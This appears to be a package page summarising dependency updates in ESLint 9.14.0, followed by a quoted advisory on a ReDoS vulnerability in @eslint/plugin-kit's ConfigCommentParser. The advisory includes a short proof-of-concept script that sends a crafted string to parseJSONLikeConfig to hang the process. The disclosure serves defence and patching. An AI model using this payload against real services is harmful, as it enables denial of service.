ESLint 9.14.0 introduces several key updates compared to version 9.13.0, making it a worthwhile upgrade for developers focused on code quality and consistency. One notable change is the update to espree from version 10.2.0 to 10.3.0, potentially bringing enhanced JavaScript parsing capabilities and support for newer syntax features. @eslint/js has also been bumped from 9.13.0 to 9.14.0.
Several dependency updates are worth noting in the area of tooling and utilities. @humanfs/node went from version 0.16.5 to 0.16.6 and @eslint-community/regexpp was updated from 4.11.0 to 4.12.1. @humanwhocodes/retry was upgraded from 0.3.1 to 0.4.0. Finally, eslint-visitor-keys got upgraded from 4.1.0 to 4.2.0
On the development side, the bump of @wdio/cli and family indicates improvements or bugfixes in web driver testing tools. @wdio/cli was bumped from 9.0.5 to 9.2.4, @wdio/browser-runner from 9.0.5 to 9.2.4, @wdio/mocha-framework from 9.0.5 to 9.2.2 and @wdio/concise-reporter from 9.0.4 to 9.2.2.
Developers should pay attention to these dependency updates as they may affect compatibility or introduce new functionalities. These upgrades collectively contribute to a more robust and feature-rich linting experience, ensuring codebases remain maintainable and adhere to best practices. ESLint remains a powerful tool for identifying and fixing code style issues and potential errors.
All the vulnerabilities related to the version 9.14.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.